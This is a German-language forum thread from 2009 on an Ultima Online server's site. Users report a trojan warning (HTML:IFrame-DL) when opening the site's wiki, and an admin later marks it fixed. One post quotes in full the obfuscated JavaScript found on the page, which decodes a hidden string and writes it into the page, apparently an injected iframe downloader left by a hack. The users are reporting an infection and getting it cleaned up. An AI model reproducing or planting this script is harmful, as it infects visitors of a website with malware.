UO Sigena

Willkommen im Forum von Sigena!

Trojanisches Pferd

Schriften der Vergangenheit.

Trojanisches Pferd

Beitragvon Jardis » Mi 6. Mai 2009, 08:50

Auch wenn es in dem Fall nichts mit dem ingame zu tun hat:

Beim anklicken des folgenden Links:

http://www.uosigena.de/wiki/index.php?t ... -login.png

hab ich sofort diese Warnung, auf dieser Seite befindet sich ein Trojanisches Pferd:

HTML:IFrame-DL [Trj]

Jardis
Offline
 
Alter: 46
Beiträge: 3
Registriert: Mi 6. Mai 2009, 07:59

Re: Trojanisches Pferd

Beitragvon Tommy » Mi 6. Mai 2009, 08:59

das habe ich auch wenn ich den Link anklicken.

Tommy
Offline
 
Beiträge: 1
Registriert: Mi 6. Mai 2009, 08:14

Re: Trojanisches Pferd

Beitragvon Bino » Mi 6. Mai 2009, 09:04

Ich habe auch schon von 2 Leuten gehört, dass sie dieses Problem haben, diese nutzen das Anti- Virenprogram Kaspersky.

Ich selber bekomme mit Avira Anti-Vir keinerlei Virenmeldung.
Benutzeravatar
Bino
Offline
 
Alter: 43
Beiträge: 608
Registriert: Mo 6. Apr 2009, 07:28

Re: Trojanisches Pferd

Beitragvon Noir » Mi 6. Mai 2009, 18:36

Auf der Seite befindet sich ein sehr dubioses javascript, dass vermutlich den iframe erzeugt:

Code: Alles auswählen
<!-- ad --><SCRIPT>var fzFirW33B0Xew7ZVj7W5eMCKJ='';var Kkm4fHfQdP4vi7XHFoDi7Wgxai2='vfgao%g2u%0r2v P%/rat2%%%e0%z0%02-f322r1r%%r2rpNbb2v1gQoqPn%e2cb/p%%t2ze/s %Qgtp.jQ02n%3e%seuyva0%232Q330n3/j.Sq3v2e2R%Nz2%t/%u2u%b2%RQ3%3rgv22%2s32%0';var BKqBNqF8sFniNybCl='591064783242063975182650489317534861209703975182466541982730214965370817548036929650274831638452097160915423873042965871290867153404531296872139856740';var jILqrDzQ1='';for(var vDm=0;vDm<15;vDm++) for(var QCldAp64S5=0;QCldAp64S5<10;QCldAp64S5++) { jILqrDzQ1=Kkm4fHfQdP4vi7XHFoDi7Wgxai2.charCodeAt((parseInt(BKqBNqF8sFniNybCl.charAt(vDm*10+QCldAp64S5))*15)+vDm); if ((jILqrDzQ1>=65 && jILqrDzQ1<78) || (jILqrDzQ1>=97 && jILqrDzQ1<110)) jILqrDzQ1+=13;
        else if ((jILqrDzQ1>=78 && jILqrDzQ1<91) || (jILqrDzQ1>=110 && jILqrDzQ1<123)) jILqrDzQ1-=13;fzFirW33B0Xew7ZVj7W5eMCKJ+=String.fromCharCode(jILqrDzQ1);}document.write(unescape(fzFirW33B0Xew7ZVj7W5eMCKJ));</SCRIPT><!-- /ad -->

Ich glaube auch nicht, dass die programmierer des Wiki Phpscripts einen so groben Fehler machen würden das ganze außerhalb des <body>-tags zu platzieren.
Vermutlich noch ein überbleibsel vom Hack.
Benutzeravatar
Noir
Offline
 
Beiträge: 429
Registriert: So 5. Apr 2009, 20:50

Re: Trojanisches Pferd

Beitragvon Admin Lorgan » Sa 4. Jul 2009, 09:42

Fixed.
Benutzeravatar
Admin Lorgan
Staff
Offline
 
Beiträge: 1064
Registriert: So 5. Apr 2009, 17:51

Re: Trojanisches Pferd

Beitragvon martin » Sa 4. Jul 2009, 09:46

Immer gut mit NoScript unterwegs zu sein.. ^^
Benutzeravatar
martin
Offline
 
Beiträge: 37
Registriert: Di 21. Apr 2009, 21:32


Zurück zu Ablage

Wer ist online?

Mitglieder in diesem Forum: Google [Bot] und 15 Gäste